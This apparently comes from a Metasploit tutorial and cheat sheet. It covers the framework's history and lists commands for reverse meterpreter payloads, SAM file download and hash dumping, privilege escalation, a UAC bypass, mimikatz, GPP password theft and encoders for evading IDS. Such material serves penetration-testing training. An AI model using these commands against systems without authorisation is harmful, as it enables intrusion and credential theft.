Metasploit was created by H. D. Moore in 2003 as a portable network tool using Perl. By 2007, the Metasploit Framework had been completely rewritten in Ruby. On October 21, 2009, the Metasploit Project announced that it had been acquired by Rapid7, a security company that provides unified vulnerability management solutions.

Like comparable commercial products such as Immunity’s Canvas or Core Security Technologies’ Core Impact, Metasploit can be used to test the vulnerability of computer systems or to break into remote systems. Like many information security tools, Metasploit can be used for both legitimate and unauthorized activities. Since the acquisition of the Metasploit Framework, Rapid7 has added two open core proprietary editions called Metasploit Express and Metasploit Pro.

Metasploit’s emerging position as the de facto exploit development framework led to the release of software vulnerability advisories often accompanied by a third party Metasploit exploit module that highlights the exploitability, risk and remediation of that particular bug. Metasploit 3.0 began to include fuzzing tools, used to discover software vulnerabilities, rather than just exploits for known bugs. This avenue can be seen with the integration of the lorcon wireless (802.11) toolset into Metasploit 3.0 in November 2006. Metasploit 4.0 was released in August 2011.

List of Metasploit Commands, Meterpreter Payloads

Windows reverse meterpreter payload

Command Description
set payload windows/meterpreter/reverse_tcp Windows reverse tcp payload

Windows VNC Meterpreter payload

Command Description
set payload windows/vncinject/reverse_tcpset ViewOnly false Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

Command Description
set payload linux/meterpreter/reverse_tcp Meterpreter Linux Reverse Payload

List of Metasploit Commands, Meterpreter Cheat Sheet

Useful meterpreter commands.

Command Description
upload file c:\\windows Meterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmp Meterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exe Meterpreter run .exe on target – handy for executing uploaded exploits
execute -f cmd -c Creates new channel with cmd shell
ps Meterpreter show processes
shell Meterpreter get shell on the target
getsystem Meterpreter attempts priviledge escalation the target
hashdump Meterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target Meterpreter delete port forward

Common Metasploit Modules

Remote Windows Metasploit Modules (exploits)

Command Description
use exploit/windows/smb/ms08_067_netapi MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

Command Description
use exploit/windows/local/bypassuac Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

Command Description
use auxiliary/scanner/http/dir_scanner Metasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscan Metasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_login Metasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_version Metasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_login Metasploit Oracle Login Module

Metasploit Powershell Modules

Command Description
use exploit/multi/script/web_delivery Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

Command Description
run post/windows/gather/win_privs Metasploit show privileges of current user
use post/windows/gather/credentials/gpp Metasploit grab GPP saved passwords
load mimikatz -> wdigest Metasplit load Mimikatz
run post/windows/gather/local_admin_search_enum Idenitfy other machines that the supplied domain user has administrative access to

Basic Metasploit Commands

Basic Metasploit command to update framework.

This command should update the Metasploit framework to the latest version. The updates says that we should be expecting updates weekly(ish). Beware: Running this command might break your Metasploit installation.

Metasploit Commands msfconsole/help

This is what you see when booting msfconsole for the first time. Incase you don’t know anything about msfconsole you can type: help to view all commands.

It would be a waste of time explaining all these commands. however, these are the basic most used commands you’re going to see.

  • Basic commands: search, use, back, help, info and exit.
  • Exploit commands: set to set variables and show to show the exploit options, targets, payloads, encoders, nops and the advanced and evasion options.
  • Exploit execution commands: run and exploit to run exploits against a target.

These are the basic Metasploit Commands!

search command

search command is used to search exploits and vulnerabilities from msfconsole.

info command

info command is used to take a look at the documentation and owner of the exploit.

show options command

We can use show options command to display values required by te payload to attack our victim machine.

LHOST: Use Local IP Address | If your attacking on WAN network you need to set LHOST to static IP Address IP and port forward

LPORT: If your attacking in LAN Network then you don’t need to port forward use any port you want. | If your attacking on WAN Network then you have to port forward that port.

Show Payloads

When we use the show payloads command the msfconsole will return a list of compatible payloads for this exploit. In our flash player exploit example it will return quite a few compatible payloads:

Show targets

The show targets command will return a list of operating systems which are vulnerable to the selected exploit. When we run the command we get the following output for the adobe_flash_shader_drawing_fill exploit:

Show advanced

By using the show advanced command we can have a look at the advanced options for the exploit.

Show encoders

The show encoders command will return the compatible encoders. Encoders are used to evade simple IDS/IPS signatures that are looking for certain bytes of your payload. We will be looking at encoders in detail in a later chapter of the Metasploit tutorials.

Show nops

The show nops command will return a list of NOP generators. A NOP is short for No Operation and is used to change the pattern of a NOP sled in order to bypass simple IDS/IPS signatures of common NOP sleds. The NOP generators start with the CPU architecture in the name. We will be looking at NOPS in a later chapter of this tutorial.

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